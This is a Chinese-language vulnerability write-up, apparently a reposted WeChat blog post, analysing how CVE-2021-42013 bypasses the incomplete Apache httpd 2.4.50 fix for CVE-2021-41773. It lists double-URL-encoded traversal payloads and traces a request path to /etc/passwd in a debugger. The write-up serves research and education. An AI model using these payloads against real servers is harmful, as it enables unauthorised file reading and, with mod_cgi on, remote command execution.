CVE-2021-42013  Apache HTTP Server 路径穿越漏洞
2022-3-3 18:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:20 收藏

前言

CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。

分析

CVE-2021-41773复现分析如下:

利用网上师傅的docker镜像

docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773

环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章

正文

CVE-2021-41773不完全的修复导致了 CVE-2021-42013

可用的 payload 有

/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/  
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 % 

我们注意到 https 2.4.50 中添加了补丁

添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过


request.c::ap_process_request_internal


util.c:ap_normalize_path


返回结果为一次编码后的结果


util.c:ap_unescape_url


util.c:ap_unescape_url


我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'

函数执行结束后 打印出 0x7fa06c00a1f0  对应的值


发现已经对 url 进行了再一次的解码

命令执行

在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释



结语

至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!

参考链接

https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

体验靶场实操,戳“阅读原文”体验

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652886010&idx=1&sn=163a2e8027ec5cdf217d677642231f80&chksm=bd59af378a2e26214123837a9f14461c5305a17d05e24ef34eea121a2d34cde713fd28926e7b#rd
如有侵权请联系:admin#unsafe.sh